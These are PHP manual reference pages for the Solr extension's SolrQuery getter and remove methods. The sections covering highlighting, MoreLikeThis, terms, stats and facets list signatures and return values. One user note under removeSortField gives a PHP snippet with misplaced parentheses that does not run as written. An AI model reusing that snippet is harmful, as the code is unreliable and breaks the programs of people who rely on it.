SolrQuery::getHighlightMaxAlternateFieldLength — Returns the maximum number of characters of the field to return

说明

public SolrQuery::getHighlightMaxAlternateFieldLength(string $field_override = ?): int

Returns the maximum number of characters of the field to return

参数

field_override

The name of the field

返回值

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of characters into a document to look for suitable snippets

  • ? SolrQuery::getHighlightMaxAlternateFieldLength
  • SolrQuery::getHighlightMergeContiguous ?
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of characters into a document to look for suitable snippets

SolrQuery::getHighlightMaxAnalyzedChars

(PECL solr >= 0.9.2)

SolrQuery::getHighlightMaxAnalyzedChars — Returns the maximum number of characters into a document to look for suitable snippets

说明

public SolrQuery::getHighlightMaxAnalyzedChars(): int

Returns the maximum number of characters into a document to look for suitable snippets

参数

此函数没有参数。

返回值

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether or not the collapse contiguous fragments into a single fragment

  • ? SolrQuery::getHighlightMaxAnalyzedChars
  • SolrQuery::getHighlightRegexMaxAnalyzedChars ?
  • PHP Manual
  • SolrQuery
  • Returns whether or not the collapse contiguous fragments into a single fragment

SolrQuery::getHighlightMergeContiguous

(PECL solr >= 0.9.2)

SolrQuery::getHighlightMergeContiguous — Returns whether or not the collapse contiguous fragments into a single fragment

说明

public SolrQuery::getHighlightMergeContiguous(string $field_override = ?): bool

Returns whether or not the collapse contiguous fragments into a single fragment. Accepts an optional field override.

参数

field_override

The name of the field

返回值

Returns a boolean on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of characters from a field when using the regex fragmenter

  • ? SolrQuery::getHighlightMergeContiguous
  • SolrQuery::getHighlightRegexPattern ?
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of characters from a field when using the regex fragmenter

SolrQuery::getHighlightRegexMaxAnalyzedChars

(PECL solr >= 0.9.2)

SolrQuery::getHighlightRegexMaxAnalyzedChars — Returns the maximum number of characters from a field when using the regex fragmenter

说明

public SolrQuery::getHighlightRegexMaxAnalyzedChars(): int

Returns the maximum number of characters from a field when using the regex fragmenter

参数

此函数没有参数。

返回值

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the regular expression for fragmenting

  • ? SolrQuery::getHighlightRegexMaxAnalyzedChars
  • SolrQuery::getHighlightRegexSlop ?
  • PHP Manual
  • SolrQuery
  • Returns the regular expression for fragmenting

SolrQuery::getHighlightRegexPattern

(PECL solr >= 0.9.2)

SolrQuery::getHighlightRegexPattern — Returns the regular expression for fragmenting

说明

public SolrQuery::getHighlightRegexPattern(): string

Returns the regular expression used for fragmenting

参数

此函数没有参数。

返回值

Returns a string on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the deviation factor from the ideal fragment size

  • ? SolrQuery::getHighlightRegexPattern
  • SolrQuery::getHighlightRequireFieldMatch ?
  • PHP Manual
  • SolrQuery
  • Returns the deviation factor from the ideal fragment size

SolrQuery::getHighlightRegexSlop

(PECL solr >= 0.9.2)

SolrQuery::getHighlightRegexSlop — Returns the deviation factor from the ideal fragment size

说明

public SolrQuery::getHighlightRegexSlop(): float

Returns the factor by which the regex fragmenter can deviate from the ideal fragment size to accommodate the regular expression

参数

此函数没有参数。

返回值

Returns a float on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns if a field will only be highlighted if the query matched in this particular field

  • ? SolrQuery::getHighlightRegexSlop
  • SolrQuery::getHighlightSimplePost ?
  • PHP Manual
  • SolrQuery
  • Returns if a field will only be highlighted if the query matched in this particular field

SolrQuery::getHighlightRequireFieldMatch

(PECL solr >= 0.9.2)

SolrQuery::getHighlightRequireFieldMatch — Returns if a field will only be highlighted if the query matched in this particular field

说明

public SolrQuery::getHighlightRequireFieldMatch(): bool

Returns if a field will only be highlighted if the query matched in this particular field.

参数

此函数没有参数。

返回值

Returns a boolean on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the text which appears after a highlighted term

  • ? SolrQuery::getHighlightRequireFieldMatch
  • SolrQuery::getHighlightSimplePre ?
  • PHP Manual
  • SolrQuery
  • Returns the text which appears after a highlighted term

SolrQuery::getHighlightSimplePost

(PECL solr >= 0.9.2)

SolrQuery::getHighlightSimplePost — Returns the text which appears after a highlighted term

说明

public SolrQuery::getHighlightSimplePost(string $field_override = ?): string

Returns the text which appears after a highlighted term. Accepts an optional field override

参数

field_override

The name of the field

返回值

Returns a string on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the text which appears before a highlighted term

  • ? SolrQuery::getHighlightSimplePost
  • SolrQuery::getHighlightSnippets ?
  • PHP Manual
  • SolrQuery
  • Returns the text which appears before a highlighted term

SolrQuery::getHighlightSimplePre

(PECL solr >= 0.9.2)

SolrQuery::getHighlightSimplePre — Returns the text which appears before a highlighted term

说明

public SolrQuery::getHighlightSimplePre(string $field_override = ?): string

Returns the text which appears before a highlighted term. Accepts an optional field override

参数

field_override

The name of the field

返回值

Returns a string on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of highlighted snippets to generate per field

  • ? SolrQuery::getHighlightSimplePre
  • SolrQuery::getHighlightUsePhraseHighlighter ?
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of highlighted snippets to generate per field

SolrQuery::getHighlightSnippets

(PECL solr >= 0.9.2)

SolrQuery::getHighlightSnippets — Returns the maximum number of highlighted snippets to generate per field

说明

public SolrQuery::getHighlightSnippets(string $field_override = ?): int

Returns the maximum number of highlighted snippets to generate per field. Accepts an optional field override

参数

field_override

The name of the field

返回值

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the state of the hl.usePhraseHighlighter parameter

  • ? SolrQuery::getHighlightSnippets
  • SolrQuery::getMlt ?
  • PHP Manual
  • SolrQuery
  • Returns the state of the hl.usePhraseHighlighter parameter

SolrQuery::getHighlightUsePhraseHighlighter

(PECL solr >= 0.9.2)

SolrQuery::getHighlightUsePhraseHighlighter — Returns the state of the hl.usePhraseHighlighter parameter

说明

public SolrQuery::getHighlightUsePhraseHighlighter(): bool

Returns whether or not to use SpanScorer to highlight phrase terms only when they appear within the query phrase in the document.

参数

此函数没有参数。

返回值

Returns a boolean on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether or not MoreLikeThis results should be enabled

  • ? SolrQuery::getHighlightUsePhraseHighlighter
  • SolrQuery::getMltBoost ?
  • PHP Manual
  • SolrQuery
  • Returns whether or not MoreLikeThis results should be enabled

SolrQuery::getMlt

(PECL solr >= 0.9.2)

SolrQuery::getMlt — Returns whether or not MoreLikeThis results should be enabled

说明

public SolrQuery::getMlt(): bool

Returns whether or not MoreLikeThis results should be enabled

参数

此函数没有参数。

返回值

Returns a boolean on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether or not the query will be boosted by the interesting term relevance

  • ? SolrQuery::getMlt
  • SolrQuery::getMltCount ?
  • PHP Manual
  • SolrQuery
  • Returns whether or not the query will be boosted by the interesting term relevance

SolrQuery::getMltBoost

(PECL solr >= 0.9.2)

SolrQuery::getMltBoost — Returns whether or not the query will be boosted by the interesting term relevance

说明

public SolrQuery::getMltBoost(): bool

Returns whether or not the query will be boosted by the interesting term relevance

参数

此函数没有参数。

返回值

Returns a boolean on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of similar documents to return for each result

  • ? SolrQuery::getMltBoost
  • SolrQuery::getMltFields ?
  • PHP Manual
  • SolrQuery
  • Returns the number of similar documents to return for each result

SolrQuery::getMltCount

(PECL solr >= 0.9.2)

SolrQuery::getMltCount — Returns the number of similar documents to return for each result

说明

public SolrQuery::getMltCount(): int

Returns the number of similar documents to return for each result

参数

此函数没有参数。

返回值

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns all the fields to use for similarity

  • ? SolrQuery::getMltCount
  • SolrQuery::getMltMaxNumQueryTerms ?
  • PHP Manual
  • SolrQuery
  • Returns all the fields to use for similarity

SolrQuery::getMltFields

(PECL solr >= 0.9.2)

SolrQuery::getMltFields — Returns all the fields to use for similarity

说明

public SolrQuery::getMltFields(): array

Returns all the fields to use for similarity

参数

此函数没有参数。

返回值

Returns an array on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of query terms that will be included in any generated query

  • ? SolrQuery::getMltFields
  • SolrQuery::getMltMaxNumTokens ?
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of query terms that will be included in any generated query

SolrQuery::getMltMaxNumQueryTerms

(PECL solr >= 0.9.2)

SolrQuery::getMltMaxNumQueryTerms — Returns the maximum number of query terms that will be included in any generated query

说明

public SolrQuery::getMltMaxNumQueryTerms(): int

Returns the maximum number of query terms that will be included in any generated query

参数

此函数没有参数。

返回值

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of tokens to parse in each document field that is not stored with TermVector support

  • ? SolrQuery::getMltMaxNumQueryTerms
  • SolrQuery::getMltMaxWordLength ?
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of tokens to parse in each document field that is not stored with TermVector support

SolrQuery::getMltMaxNumTokens

(PECL solr >= 0.9.2)

SolrQuery::getMltMaxNumTokens — Returns the maximum number of tokens to parse in each document field that is not stored with TermVector support

说明

public SolrQuery::getMltMaxNumTokens(): int

Returns the maximum number of tokens to parse in each document field that is not stored with TermVector support

参数

此函数没有参数。

返回值

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum word length above which words will be ignored

  • ? SolrQuery::getMltMaxNumTokens
  • SolrQuery::getMltMinDocFrequency ?
  • PHP Manual
  • SolrQuery
  • Returns the maximum word length above which words will be ignored

SolrQuery::getMltMaxWordLength

(PECL solr >= 0.9.2)

SolrQuery::getMltMaxWordLength — Returns the maximum word length above which words will be ignored

说明

public SolrQuery::getMltMaxWordLength(): int

Returns the maximum word length above which words will be ignored

参数

此函数没有参数。

返回值

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the treshold frequency at which words will be ignored which do not occur in at least this many docs

  • ? SolrQuery::getMltMaxWordLength
  • SolrQuery::getMltMinTermFrequency ?
  • PHP Manual
  • SolrQuery
  • Returns the treshold frequency at which words will be ignored which do not occur in at least this many docs

SolrQuery::getMltMinDocFrequency

(PECL solr >= 0.9.2)

SolrQuery::getMltMinDocFrequency — Returns the treshold frequency at which words will be ignored which do not occur in at least this many docs

说明

public SolrQuery::getMltMinDocFrequency(): int

Returns the treshold frequency at which words will be ignored which do not occur in at least this many docs

参数

此函数没有参数。

返回值

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the frequency below which terms will be ignored in the source document

  • ? SolrQuery::getMltMinDocFrequency
  • SolrQuery::getMltMinWordLength ?
  • PHP Manual
  • SolrQuery
  • Returns the frequency below which terms will be ignored in the source document

SolrQuery::getMltMinTermFrequency

(PECL solr >= 0.9.2)

SolrQuery::getMltMinTermFrequency — Returns the frequency below which terms will be ignored in the source document

说明

public SolrQuery::getMltMinTermFrequency(): int

Returns the frequency below which terms will be ignored in the source document

参数

此函数没有参数。

返回值

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the minimum word length below which words will be ignored

  • ? SolrQuery::getMltMinTermFrequency
  • SolrQuery::getMltQueryFields ?
  • PHP Manual
  • SolrQuery
  • Returns the minimum word length below which words will be ignored

SolrQuery::getMltMinWordLength

(PECL solr >= 0.9.2)

SolrQuery::getMltMinWordLength — Returns the minimum word length below which words will be ignored

说明

public SolrQuery::getMltMinWordLength(): int

Returns the minimum word length below which words will be ignored

参数

此函数没有参数。

返回值

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the query fields and their boosts

  • ? SolrQuery::getMltMinWordLength
  • SolrQuery::getQuery ?
  • PHP Manual
  • SolrQuery
  • Returns the query fields and their boosts

SolrQuery::getMltQueryFields

(PECL solr >= 0.9.2)

SolrQuery::getMltQueryFields — Returns the query fields and their boosts

说明

public SolrQuery::getMltQueryFields(): array

Returns the query fields and their boosts

参数

此函数没有参数。

返回值

Returns an array on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the main query

  • ? SolrQuery::getMltQueryFields
  • SolrQuery::getRows ?
  • PHP Manual
  • SolrQuery
  • Returns the main query

SolrQuery::getQuery

(PECL solr >= 0.9.2)

SolrQuery::getQuery — Returns the main query

说明

public SolrQuery::getQuery(): string

Returns the main search query

参数

此函数没有参数。

返回值

Returns a string on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of documents

  • ? SolrQuery::getQuery
  • SolrQuery::getSortFields ?
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of documents

SolrQuery::getRows

(PECL solr >= 0.9.2)

SolrQuery::getRows — Returns the maximum number of documents

说明

public SolrQuery::getRows(): int

Returns the maximum number of documents from the complete result set to return to the client for every request

参数

此函数没有参数。

返回值

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns all the sort fields

  • ? SolrQuery::getRows
  • SolrQuery::getStart ?
  • PHP Manual
  • SolrQuery
  • Returns all the sort fields

SolrQuery::getSortFields

(PECL solr >= 0.9.2)

SolrQuery::getSortFields — Returns all the sort fields

说明

public SolrQuery::getSortFields(): array

Returns all the sort fields

参数

此函数没有参数。

返回值

Returns an array on success and null if none of the parameters was set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the offset in the complete result set

  • ? SolrQuery::getSortFields
  • SolrQuery::getStats ?
  • PHP Manual
  • SolrQuery
  • Returns the offset in the complete result set

SolrQuery::getStart

(PECL solr >= 0.9.2)

SolrQuery::getStart — Returns the offset in the complete result set

说明

public SolrQuery::getStart(): int

Returns the offset in the complete result set for the queries where the set of returned documents should begin.

参数

此函数没有参数。

返回值

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether or not stats is enabled

  • ? SolrQuery::getStart
  • SolrQuery::getStatsFacets ?
  • PHP Manual
  • SolrQuery
  • Returns whether or not stats is enabled

SolrQuery::getStats

(PECL solr >= 0.9.2)

SolrQuery::getStats — Returns whether or not stats is enabled

说明

public SolrQuery::getStats(): bool

Returns whether or not stats is enabled

参数

此函数没有参数。

返回值

Returns a boolean on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns all the stats facets that were set

  • ? SolrQuery::getStats
  • SolrQuery::getStatsFields ?
  • PHP Manual
  • SolrQuery
  • Returns all the stats facets that were set

SolrQuery::getStatsFacets

(PECL solr >= 0.9.2)

SolrQuery::getStatsFacets — Returns all the stats facets that were set

说明

public SolrQuery::getStatsFacets(): array

Returns all the stats facets that were set

参数

此函数没有参数。

返回值

Returns an array on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns all the statistics fields

  • ? SolrQuery::getStatsFacets
  • SolrQuery::getTerms ?
  • PHP Manual
  • SolrQuery
  • Returns all the statistics fields

SolrQuery::getStatsFields

(PECL solr >= 0.9.2)

SolrQuery::getStatsFields — Returns all the statistics fields

说明

public SolrQuery::getStatsFields(): array

Returns all the statistics fields

参数

此函数没有参数。

返回值

Returns an array on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether or not the TermsComponent is enabled

  • ? SolrQuery::getStatsFields
  • SolrQuery::getTermsField ?
  • PHP Manual
  • SolrQuery
  • Returns whether or not the TermsComponent is enabled

SolrQuery::getTerms

(PECL solr >= 0.9.2)

SolrQuery::getTerms — Returns whether or not the TermsComponent is enabled

说明

public SolrQuery::getTerms(): bool

Returns whether or not the TermsComponent is enabled

参数

此函数没有参数。

返回值

Returns a boolean on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the field from which the terms are retrieved

  • ? SolrQuery::getTerms
  • SolrQuery::getTermsIncludeLowerBound ?
  • PHP Manual
  • SolrQuery
  • Returns the field from which the terms are retrieved

SolrQuery::getTermsField

(PECL solr >= 0.9.2)

SolrQuery::getTermsField — Returns the field from which the terms are retrieved

说明

public SolrQuery::getTermsField(): string

Returns the field from which the terms are retrieved

参数

此函数没有参数。

返回值

Returns a string on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether or not to include the lower bound in the result set

  • ? SolrQuery::getTermsField
  • SolrQuery::getTermsIncludeUpperBound ?
  • PHP Manual
  • SolrQuery
  • Returns whether or not to include the lower bound in the result set

SolrQuery::getTermsIncludeLowerBound

(PECL solr >= 0.9.2)

SolrQuery::getTermsIncludeLowerBound — Returns whether or not to include the lower bound in the result set

说明

public SolrQuery::getTermsIncludeLowerBound(): bool

Returns whether or not to include the lower bound in the result set

参数

此函数没有参数。

返回值

Returns a boolean on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether or not to include the upper bound term in the result set

  • ? SolrQuery::getTermsIncludeLowerBound
  • SolrQuery::getTermsLimit ?
  • PHP Manual
  • SolrQuery
  • Returns whether or not to include the upper bound term in the result set

SolrQuery::getTermsIncludeUpperBound

(PECL solr >= 0.9.2)

SolrQuery::getTermsIncludeUpperBound — Returns whether or not to include the upper bound term in the result set

说明

public SolrQuery::getTermsIncludeUpperBound(): bool

Returns whether or not to include the upper bound term in the result set

参数

此函数没有参数。

返回值

Returns a boolean on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of terms Solr should return

  • ? SolrQuery::getTermsIncludeUpperBound
  • SolrQuery::getTermsLowerBound ?
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of terms Solr should return

SolrQuery::getTermsLimit

(PECL solr >= 0.9.2)

SolrQuery::getTermsLimit — Returns the maximum number of terms Solr should return

说明

public SolrQuery::getTermsLimit(): int

Returns the maximum number of terms Solr should return

参数

此函数没有参数。

返回值

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the term to start at

  • ? SolrQuery::getTermsLimit
  • SolrQuery::getTermsMaxCount ?
  • PHP Manual
  • SolrQuery
  • Returns the term to start at

SolrQuery::getTermsLowerBound

(PECL solr >= 0.9.2)

SolrQuery::getTermsLowerBound — Returns the term to start at

说明

public SolrQuery::getTermsLowerBound(): string

Returns the term to start at

参数

此函数没有参数。

返回值

Returns a string on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum document frequency

  • ? SolrQuery::getTermsLowerBound
  • SolrQuery::getTermsMinCount ?
  • PHP Manual
  • SolrQuery
  • Returns the maximum document frequency

SolrQuery::getTermsMaxCount

(PECL solr >= 0.9.2)

SolrQuery::getTermsMaxCount — Returns the maximum document frequency

说明

public SolrQuery::getTermsMaxCount(): int

Returns the maximum document frequency

参数

此函数没有参数。

返回值

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the minimum document frequency to return in order to be included

  • ? SolrQuery::getTermsMaxCount
  • SolrQuery::getTermsPrefix ?
  • PHP Manual
  • SolrQuery
  • Returns the minimum document frequency to return in order to be included

SolrQuery::getTermsMinCount

(PECL solr >= 0.9.2)

SolrQuery::getTermsMinCount — Returns the minimum document frequency to return in order to be included

说明

public SolrQuery::getTermsMinCount(): int

Returns the minimum document frequency to return in order to be included

参数

此函数没有参数。

返回值

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the term prefix

  • ? SolrQuery::getTermsMinCount
  • SolrQuery::getTermsReturnRaw ?
  • PHP Manual
  • SolrQuery
  • Returns the term prefix

SolrQuery::getTermsPrefix

(PECL solr >= 0.9.2)

SolrQuery::getTermsPrefix — Returns the term prefix

说明

public SolrQuery::getTermsPrefix(): string

Returns the prefix to which matching terms must be restricted. This will restrict matches to only terms that start with the prefix

参数

此函数没有参数。

返回值

Returns a string on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Whether or not to return raw characters

  • ? SolrQuery::getTermsPrefix
  • SolrQuery::getTermsSort ?
  • PHP Manual
  • SolrQuery
  • Whether or not to return raw characters

SolrQuery::getTermsReturnRaw

(PECL solr >= 0.9.2)

SolrQuery::getTermsReturnRaw — Whether or not to return raw characters

说明

public SolrQuery::getTermsReturnRaw(): bool

Returns a boolean indicating whether or not to return the raw characters of the indexed term, regardless of if it is human readable

参数

此函数没有参数。

返回值

Returns a boolean on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns an integer indicating how terms are sorted

  • ? SolrQuery::getTermsReturnRaw
  • SolrQuery::getTermsUpperBound ?
  • PHP Manual
  • SolrQuery
  • Returns an integer indicating how terms are sorted

SolrQuery::getTermsSort

(PECL solr >= 0.9.2)

SolrQuery::getTermsSort — Returns an integer indicating how terms are sorted

说明

public SolrQuery::getTermsSort(): int

SolrQuery::TERMS_SORT_INDEX indicates that the terms are returned by index order. SolrQuery::TERMS_SORT_COUNT implies that the terms are sorted by term frequency (highest count first)

参数

此函数没有参数。

返回值

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the term to stop at

  • ? SolrQuery::getTermsSort
  • SolrQuery::getTimeAllowed ?
  • PHP Manual
  • SolrQuery
  • Returns the term to stop at

SolrQuery::getTermsUpperBound

(PECL solr >= 0.9.2)

SolrQuery::getTermsUpperBound — Returns the term to stop at

说明

public SolrQuery::getTermsUpperBound(): string

Returns the term to stop at

参数

此函数没有参数。

返回值

Returns a string on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the time in milliseconds allowed for the query to finish

  • ? SolrQuery::getTermsUpperBound
  • SolrQuery::removeExpandFilterQuery ?
  • PHP Manual
  • SolrQuery
  • Returns the time in milliseconds allowed for the query to finish

SolrQuery::getTimeAllowed

(PECL solr >= 0.9.2)

SolrQuery::getTimeAllowed — Returns the time in milliseconds allowed for the query to finish

说明

public SolrQuery::getTimeAllowed(): int

Returns the time in milliseconds allowed for the query to finish.

参数

此函数没有参数。

返回值

Returns and integer on success and null if it is not set.

User Contributed Notes

There are no user contributed notes for this page.


Removes an expand filter query

  • ? SolrQuery::getTimeAllowed
  • SolrQuery::removeExpandSortField ?
  • PHP Manual
  • SolrQuery
  • Removes an expand filter query

SolrQuery::removeExpandFilterQuery

(PECL solr >= 2.2.0)

SolrQuery::removeExpandFilterQuery — Removes an expand filter query

说明

public SolrQuery::removeExpandFilterQuery(string $fq): SolrQuery

Removes an expand filter query.

参数

fq

返回值

SolrQuery

参见

  • SolrQuery::setExpand() - Enables/Disables the Expand Component
  • SolrQuery::addExpandSortField() - Orders the documents within the expanded groups (expand.sort parameter)
  • SolrQuery::removeExpandSortField() - Removes an expand sort field from the expand.sort parameter
  • SolrQuery::setExpandRows() - Sets the number of rows to display in each group (expand.rows). Server Default 5
  • SolrQuery::setExpandQuery() - Sets the expand.q parameter
  • SolrQuery::addExpandFilterQuery() - Overrides main filter query, determines which documents to include in the main group

User Contributed Notes

There are no user contributed notes for this page.


Removes an expand sort field from the expand.sort parameter

  • ? SolrQuery::removeExpandFilterQuery
  • SolrQuery::removeFacetDateField ?
  • PHP Manual
  • SolrQuery
  • Removes an expand sort field from the expand.sort parameter

SolrQuery::removeExpandSortField

(PECL solr >= 2.2.0)

SolrQuery::removeExpandSortField — Removes an expand sort field from the expand.sort parameter

说明

public SolrQuery::removeExpandSortField(string $field): SolrQuery

Removes an expand sort field from the expand.sort parameter.

参数

field

field name

返回值

SolrQuery

参见

  • SolrQuery::setExpand() - Enables/Disables the Expand Component
  • SolrQuery::addExpandSortField() - Orders the documents within the expanded groups (expand.sort parameter)
  • SolrQuery::setExpandRows() - Sets the number of rows to display in each group (expand.rows). Server Default 5
  • SolrQuery::setExpandQuery() - Sets the expand.q parameter
  • SolrQuery::addExpandFilterQuery() - Overrides main filter query, determines which documents to include in the main group
  • SolrQuery::removeExpandFilterQuery() - Removes an expand filter query

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the facet date fields

  • ? SolrQuery::removeExpandSortField
  • SolrQuery::removeFacetDateOther ?
  • PHP Manual
  • SolrQuery
  • Removes one of the facet date fields

SolrQuery::removeFacetDateField

(PECL solr >= 0.9.2)

SolrQuery::removeFacetDateField — Removes one of the facet date fields

说明

public SolrQuery::removeFacetDateField(string $field): SolrQuery

The name of the field

参数

field

The name of the date field to remove

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the facet.date.other parameters

  • ? SolrQuery::removeFacetDateField
  • SolrQuery::removeFacetField ?
  • PHP Manual
  • SolrQuery
  • Removes one of the facet.date.other parameters

SolrQuery::removeFacetDateOther

(PECL solr >= 0.9.2)

SolrQuery::removeFacetDateOther — Removes one of the facet.date.other parameters

说明

public SolrQuery::removeFacetDateOther(string $value, string $field_override = ?): SolrQuery

Removes one of the facet.date.other parameters

参数

value

The value

field_override

The name of the field.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the facet.date parameters

  • ? SolrQuery::removeFacetDateOther
  • SolrQuery::removeFacetQuery ?
  • PHP Manual
  • SolrQuery
  • Removes one of the facet.date parameters

SolrQuery::removeFacetField

(PECL solr >= 0.9.2)

SolrQuery::removeFacetField — Removes one of the facet.date parameters

说明

public SolrQuery::removeFacetField(string $field): SolrQuery

Removes one of the facet.date parameters

参数

field

The name of the field

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the facet.query parameters

  • ? SolrQuery::removeFacetField
  • SolrQuery::removeField ?
  • PHP Manual
  • SolrQuery
  • Removes one of the facet.query parameters

SolrQuery::removeFacetQuery

(PECL solr >= 0.9.2)

SolrQuery::removeFacetQuery — Removes one of the facet.query parameters

说明

public SolrQuery::removeFacetQuery(string $value): SolrQuery

Removes one of the facet.query parameters.

参数

value

The value

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes a field from the list of fields

  • ? SolrQuery::removeFacetQuery
  • SolrQuery::removeFilterQuery ?
  • PHP Manual
  • SolrQuery
  • Removes a field from the list of fields

SolrQuery::removeField

(PECL solr >= 0.9.2)

SolrQuery::removeField — Removes a field from the list of fields

说明

public SolrQuery::removeField(string $field): SolrQuery

Removes a field from the list of fields

参数

field

Name of the field.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes a filter query

  • ? SolrQuery::removeField
  • SolrQuery::removeHighlightField ?
  • PHP Manual
  • SolrQuery
  • Removes a filter query

SolrQuery::removeFilterQuery

(PECL solr >= 0.9.2)

SolrQuery::removeFilterQuery — Removes a filter query

说明

public SolrQuery::removeFilterQuery(string $fq): SolrQuery

Removes a filter query.

参数

fq

The filter query to remove

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the fields used for highlighting

  • ? SolrQuery::removeFilterQuery
  • SolrQuery::removeMltField ?
  • PHP Manual
  • SolrQuery
  • Removes one of the fields used for highlighting

SolrQuery::removeHighlightField

(PECL solr >= 0.9.2)

SolrQuery::removeHighlightField — Removes one of the fields used for highlighting

说明

public SolrQuery::removeHighlightField(string $field): SolrQuery

Removes one of the fields used for highlighting.

参数

field

The name of the field

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the moreLikeThis fields

  • ? SolrQuery::removeHighlightField
  • SolrQuery::removeMltQueryField ?
  • PHP Manual
  • SolrQuery
  • Removes one of the moreLikeThis fields

SolrQuery::removeMltField

(PECL solr >= 0.9.2)

SolrQuery::removeMltField — Removes one of the moreLikeThis fields

说明

public SolrQuery::removeMltField(string $field): SolrQuery

Removes one of the moreLikeThis fields.

参数

field

Name of the field

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the moreLikeThis query fields

  • ? SolrQuery::removeMltField
  • SolrQuery::removeSortField ?
  • PHP Manual
  • SolrQuery
  • Removes one of the moreLikeThis query fields

SolrQuery::removeMltQueryField

(PECL solr >= 0.9.2)

SolrQuery::removeMltQueryField — Removes one of the moreLikeThis query fields

说明

public SolrQuery::removeMltQueryField(string $queryField): SolrQuery

Removes one of the moreLikeThis query fields.

参数

queryField

The query field

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the sort fields

  • ? SolrQuery::removeMltQueryField
  • SolrQuery::removeStatsFacet ?
  • PHP Manual
  • SolrQuery
  • Removes one of the sort fields

SolrQuery::removeSortField

(PECL solr >= 0.9.2)

SolrQuery::removeSortField — Removes one of the sort fields

说明

public SolrQuery::removeSortField(string $field): SolrQuery

Removes one of the sort fields

参数

field

The name of the field

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

hasbridge at gmail dot com 23-Jul-2010 02:16
This method will generate a notice if you try and remove a sort field that isn't set. This can happen if you call getSortFields, which will return an array like:

[0] => 'fieldName asc',
[1] => 'fieldName desc

But if you try and call:

<?php
$object->removeSortField('fieldName asc');
?>

You will get a notice. Instead, you need to truncate the sort order (' asc', ' desc') part of it. Something like:

<?php
$fieldName = trim(str_replace(array('asc', 'desc')), '', $fieldName);
?>


Removes one of the stats.facet parameters

  • ? SolrQuery::removeSortField
  • SolrQuery::removeStatsField ?
  • PHP Manual
  • SolrQuery
  • Removes one of the stats.facet parameters

SolrQuery::removeStatsFacet

(PECL solr >= 0.9.2)

SolrQuery::removeStatsFacet — Removes one of the stats.facet parameters

说明

public SolrQuery::removeStatsFacet(string $value): SolrQuery

Removes one of the stats.facet parameters

参数

value

The value

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the stats.field parameters

  • ? SolrQuery::removeStatsFacet
  • SolrQuery::setEchoHandler ?
